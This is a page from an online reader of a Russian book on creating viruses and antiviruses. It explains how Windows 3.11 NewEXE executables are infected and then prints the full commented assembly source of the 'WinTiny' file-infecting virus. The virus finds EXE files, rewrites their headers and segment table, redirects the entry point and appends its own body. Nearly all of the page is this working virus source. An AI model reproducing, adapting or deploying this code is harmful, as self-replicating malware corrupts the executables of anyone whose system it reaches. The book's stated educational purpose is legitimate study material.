А Б В Г Д Е Ж З И К Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ Э Ю Я
0-9 A B C D I F G H IJ K L M N O P Q R S TU V WX Y Z #


Чтение книги "Создаем вирус и антивирус" (страница 5)

   Глава 3
   Вирусы под Windows

   В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.

   Вирусы под Windows 3.11

   В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).
   Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».
   Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.
   Итак, порядок действий:
   1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
   2. Заголовок NewEXE сдвигается на 8 байт назад.
   3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
   4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
   Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
   В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.

   .286
   .MODEL TINY
   .CODE
   ;Сохраним регистры и флаги
   pushf
   pusha
   push ds
   push es
   ;Проверим, доступен ли DPMI. Если доступен,
   ;продолжаем, если нет – выходим
   mov ax,1686h
   int 2Fh
   or ax,ax
   jz dpmi_exist
   ;Восстановим регистры и флаги
   exit:
   pop es
   pop ds
   popa
   popf
   ;Запустим программу−носитель
   db 0EAh
   relocIP dw 0
   relocCS dw 0FFFFh
   dpmi_exist:
   ;Выделим линейный блок памяти, используя DPMI
   mov ax,0501h
   mov cx,0FFFFh
   xor bx,bx
   int 31h
   ;Сохраним индекс и 32−битный линейный адрес
   ;полученного блока памяти в стеке
   push si
   push di
   push bx
   push cx
   ;Создадим дескриптор в таблице LDT
   xor ax,ax
   mov cx,1
   int 31h
   ;В поле адреса полученного дескриптора
   ;установим адрес нужного блока памяти
   mov bx,ax
   mov ax,7
   pop dx
   pop cx
   int 31h
   ;В поле предела полученного дескриптора
   ;установим размер выделенного блока памяти
   mov ax,8
   mov dx,0FFFFh
   xor cx,cx
   int 31h
   ;В поле прав доступа полученного дескриптора установим значение,
   ;соответствующее сегменту данных, доступному для чтения и записи
   mov ax,9
   mov cl,11110010b
   xor ch,ch
   int 31h
   ;Загрузим селектор в регистр DS. После этого регистр DS будет
   ;указывать на выделенный блок памяти
   mov ds,bx
   ;Читаем из стека и сохраняем в памяти
   ;индекс полученного блока памяти
   pop [mem_hnd+2]
   pop [mem_hnd]
   ;Получим текущую DTA
   mov ah,2Fh
   int 21h
   mov [DTA],bx
   mov [DTA+2],es
   ;Найдем первый EXE−файл (маска *.EXE)
   mov ah,4Eh
   xor cx,cx
   mov dx,OFFSET wild_exe
   push ds
   push cs
   pop ds
   int 21h
   pop ds
   ;Если файл найден, перейдем к заражению, иначе освободим
   ;выделенную область памяти и запустим программу−носитель
   jnc found_exe
   ;Освободим выделенную область памяти
   call free
   ;Запустим программу−носитель
   jmp exit
   ;Перейдем к следующему файлу – этот не подходит
   close_exe:
   ;Закроем файл
   mov ah,3Eh
   int 21h
   ;Найдем следующий файл
   mov ah,4Fh
   int 21h
   ;Если файл найден, перейдем к заражению, иначе освободим
   ;выделенную область памяти и запустим программу−носитель
   jnc found_exe
   ;Освободим выделенную область памяти
   call free
   ;Запустим программу−носитель
   jmp exit
   ;Файл найден, проверим его на пригодность к заражению
   found_exe:
   ;Откроем файл для чтения и записи
   push ds
   lds dx,DWORD PTR [DTA]
   add dx,1Eh
   mov ax,3D02h
   int 21h
   pop ds
   ;Прочтем старый заголовок
   mov dx,OFFSET old_hdr
   mov bx,ax
   mov cx,40h
   mov ah,3Fh
   int 21h
   ;Проверим сигнатуру, это EXE−файл?
   cmp WORD PTR [old_hdr],”ZM”
   jne close_exe
   ;Проверим смещение таблицы настройки адресов.
   ;Если значение больше 40h, то это не обычный EXE−файл.
   ;Не будем сразу делать вывод,
   ;что это NewEXE, потому что это может оказаться
   ;PE−, LE−, LX−executable или другой
   ;(PE−executable описан в разделе,
   ;посвященном Windows 95, остальные
   ;типы EXE−файлов в этой книге не рассматриваются)
   cmp [old_hdr+18h],WORD PTR 40h
   jb close_exe
   ;Перейдем ко второму заголовку (может быть, это NewEXE?):
   ;Переводим указатель к смещению, обозначенному в поле 3Ch
   mov dx,WORD PTR [old_hdr+3Ch]
   mov cx,WORD PTR [old_hdr+3Eh]
   mov ax,4200h
   int 21h
   ;Прочитаем второй заголовок
   mov dx,OFFSET new_hdr
   mov cx,40h
   mov ah,3fh
   int 21h
   ;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл
   cmp WORD PTR [new_hdr],”EN”
   jne close_exe
   ;Проверим, для Windows ли предназначен этот файл. Если да, будем
   ;заражать, иначе переходим к следующему файлу
   mov al,[new_hdr+36h]
   and al,2
   jz close_exe
   ;Переместим указатель чтения/записи в таблицу сегментов,
   ;к элементу, обозначающему сегмент точки старта программы.
   ;Для этого прочтем значение регистра CS при запуске
   ;этого EXE−файла
   mov dx,WORD PTR [new_hdr+16h]
   ;По номеру сегмента вычислим положение соответствующего ему
   ;элемента в таблице сегментов
   dec dx
   shl dx,3
   ;К результату прибавим смещение таблицы сегментов и смещение
   ;заголовка NewEXE
   add dx,WORD PTR [new_hdr+22h]
   add dx,WORD PTR [old_hdr+3ch]
   mov cx,WORD PTR [old_hdr+3eh]
   ;Переместим указатель чтения/записи
   mov ax,4200h
   int 21h
   ;Прочтем из таблицы сегментов смещение логического сектора
   mov dx,OFFSET temp
   mov cx,2
   mov ah,3Fh
   int 21h
   ;Вычислим смещение сегмента, опираясь на значения
   ;смещения логического сектора и множителя секторов
   mov dx,WORD PTR [temp]
   mov cx,WORD PTR [new_hdr+32h]
   xor ax,ax
   cal_entry:
   shl dx,1
   rcl ax,1
   loop cal_entry
   ;Переместим 16 старших бит 32−битного результата в регистр CX
   mov cx,ax
   ;Прибавим к результату смещение стартового адреса (IP)
   add dx,WORD PTR [new_hdr+14h]
   adc cx,0
   ;Переместим указатель позиции чтения/записи на точку старта
   ;программы – результат вычисления
   mov ax,4200h
   int 21h
   ;Считаем первые 10 байт после старта программы
   mov dx,OFFSET temp
   mov cx,10h
   mov ah,3Fh
   int 21h
   ;Проверим, заражен ли файл. Если считанные 10 байт в точности
   ;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.
   ;В этом случае переходим к поиску следующего, иначе – заражаем
   mov si,OFFSET temp
   push cs
   pop es
   xor di,di
   mov cx,8
   cld
   rep cmpsw
   jne ok_to_infect
   jmp close_exe
   ;Приступим к заражению
   ok_to_infect:
   ;Переместим NE−заголовок на 8 байт ближе к началу файла.
   ;Исправим соответствующие поля старого заголовка
   sub WORD PTR [old_hdr+10h],8
   sub WORD PTR [old_hdr+3ch],8
   sbb WORD PTR [old_hdr+3eh],0
   ;Исправим значения таблиц в новом заголовке, чтобы переместились
   ;только заголовок и таблица сегментов (без остальных таблиц)
   add WORD PTR [new_hdr+4],8
   add WORD PTR [new_hdr+24h],8
   add WORD PTR [new_hdr+26h],8
   add WORD PTR [new_hdr+28h],8
   add WORD PTR [new_hdr+2ah],8
   ;Сохраним оригинальные значения точек входа CS и IP
   push WORD PTR [new_hdr+14h]
   pop [host_ip]
   push WORD PTR [new_hdr+16h]
   pop [host_cs]
   ;Добавим еще один сегмент в таблицу сегментов и установим
   ;точку входа на его начало
   mov WORD PTR [new_hdr+14h],0
   inc WORD PTR [new_hdr+1ch]
   push WORD PTR [new_hdr+1ch]
   pop WORD PTR [new_hdr+16h]
   ;Переместим указатель чтения/записи в начало файла
   ;(к старому заголовку)
   xor cx,cx
   xor dx,dx
   mov ax,4200h
   int 21h
   ;Запишем старый заголовок, так как модифицированы
   ;некоторые поля его копии в памяти
   mov dx,OFFSET old_hdr
   mov cx,40h
   mov ah,40h
   int 21h
   ;Переместим указатель чтения/записи на начало нового
   ;заголовка (его переместили на 8 байт к началу файла)
   mov dx,WORD PTR [old_hdr+3ch]
   mov cx,WORD PTR [old_hdr+3eh]
   mov ax,4200h
   int 21h
   ;Запишем новый заголовок, так как в его копии
   ;в памяти некоторые поля модифицированы
   mov dx,OFFSET new_hdr
   mov cx,40h
   mov ah,40h
   int 21h
   ;Переместим указатель чтения/записи на 8 байт
   ;вперед – к началу таблицы сегментов
   xor cx,cx
   mov dx,8
   mov ax,4201h
   int 21h
   ;Рассчитаем размер таблицы сегментов и считаем ее в память
   mov dx,OFFSET temp
   mov cx,WORD PTR [new_hdr+1ch]
   dec cx
   shl cx,3
   push cx
   mov ah,3Fh
   int 21h
   ;Переместим указатель чтения/записи назад, к позиции
   ;за 8 байт перед началом таблицы сегментов
   pop dx
   push dx
   add dx,8
   neg dx
   mov cx,–1
   mov ax,4201h
   int 21h
   ;Запишем таблицу сегментов в файл, но не на ее прежнее место,
   ;а на 8 байт ближе к началу файла
   mov dx,OFFSET temp
   pop cx
   mov ah,40h
   int 21h
   ;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
   xor cx,cx
   xor dx,dx
   mov ax,4201h
   int 21h
   ;Сохраним в стеке текущую позицию чтения/записи
   push dx
   push ax
   ;Получим длину файла, переместив указатель
   ;чтения/записи в конец файла
   xor cx,cx
   xor dx,dx
   mov ax,4202h
   int 21h
   ;Сохраним в стеке длину файла
   push dx
   push ax
   ;Вычислим и сохраним длину логического сектора
   mov cx,WORD PTR [new_hdr+32h]
   mov ax,1
   shl ax,cl
   mov [log_sec_len],ax
   ;Вычислим длину файла в логических секторах
   mov cx,ax
   pop ax
   pop dx
   div cx
   ;Учтем неполный сектор. Если в результате получился
   ;остаток, увеличим количество секторов
   or dx,dx
   jz no_rmd
   inc ax
   no_rmd:
   ;Заполним поля нового элемента в таблице сегментов
   mov [my_seg_entry],ax
   mov [my_seg_entry+2],OFFSET vir_end
   mov [my_seg_entry+4],180h
   mov [my_seg_entry+6],OFFSET vir_end
   ;Восстановим из стека позицию в файле конца таблицы секторов
   pop dx
   pop cx
   ;Переместим указатель чтения/записи к этой позиции
   mov ax,4200h
   int 21h
   ;Запишем в конец таблицы новый элемент
   mov dx,OFFSET my_seg_entry
   mov cx,8
   mov ah,40h
   int 21h
   ;Скопируем тело вируса в область памяти, которую выделили
   ;в начале программы, для изменений в нем. В защищенном режиме
   ;(а работаем именно в нем), нельзя производить запись в сегмент
   ;кода. Если по какой−то причине нужно произвести изменение
   ;в сегменте кода, создается алиасный дескриптор данных
   ;(дескриптор, содержащий то же смещение и длину,
   ;что и сегмент кода), и дальнейшая работа ведется с ним.
   ;В данном случае просто воспользуемся выделенным блоком памяти
   push ds
   pop es
   push cs
   pop ds
   xor si,si
   mov di,OFFSET temp
   mov cx,OFFSET vir_end
   cld
   rep movsb
   push es
   pop ds
   ;Инициализируем адрес точки входа
   mov si,OFFSET temp
   mov WORD PTR [si+relocIP],0
   mov WORD PTR [si+relocCS],0FFFFh
   ;Переместим указатель чтения/записи на новую точку входа
   mov ax,[my_seg_entry]
   mov cx,[log_sec_len]
   mul cx
   mov cx,dx
   mov dx,ax
   mov ax,4200h
   int 21h
   ;Запишем тело вируса в файл
   mov dx,OFFSET temp
   mov cx,OFFSET vir_end
   mov ah,40h
   int 21h
   ;Инициализируем поля перемещаемого элемента
   mov WORD PTR [reloc_data],1
   mov BYTE PTR [reloc_data+2],3
   mov BYTE PTR [reloc_data+3],4
   mov WORD PTR [reloc_data+4],OFFSET relocIP
   ;Запишем перемещаемый элемент
   mov dx,OFFSET reloc_data
   mov cx,10
   mov ah,40h
   int 21h
   ;Закроем файл
   mov ah,3Eh
   int 21h
   ;Освободим выделенный блок памяти
   call free
   ;Запустим программу−носитель
   jmp exit
   ;Процедура, освобождающая выделенный блок памяти
   free PROC NEAR
   mov ax,0502h
   mov si,[mem_hnd]
   mov di,[mem_hnd+2]
   int 31h
   ret
   free ENDP
   ;Маска для поиска файлов
   wild_exe DB ”*.EXE”,0
   ;Имя вируса
   DB ”WinTiny”
   ;Идентификатор, указывающий на конец инициализированных данных
   vir_end:
   ;Индекс выделенного блока памяти
   mem_hnd DW ?
   DW ?
   ;Адрес текущей DTA
   DTA DW ?
   DW ?
   ;Место для хранения старого заголовка
   old_hdr DB 40h dup (?)
   ;Место для хранения нового заголовка
   new_hdr DB 40h dup (?)
   ;Длина логического номера сектора
   log_sec_len DW ?
   ;Новый элемент в таблице сегментов
   my_seg_entry DW ?
   DW ?
   DW ?
   DW ?
   ;Перемещаемый элемент
   reloc_data DW ?
   DB ?
   DB ?
   DW ?
   ;Значение оригинальной точки входа
   host_cs DW ?
   host_ip DW ?
   ;Область памяти для использования
   temp DB ?
   END
Чтение онлайн



1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

Навигация по сайту
Реклама


Читательские рекомендации

Информация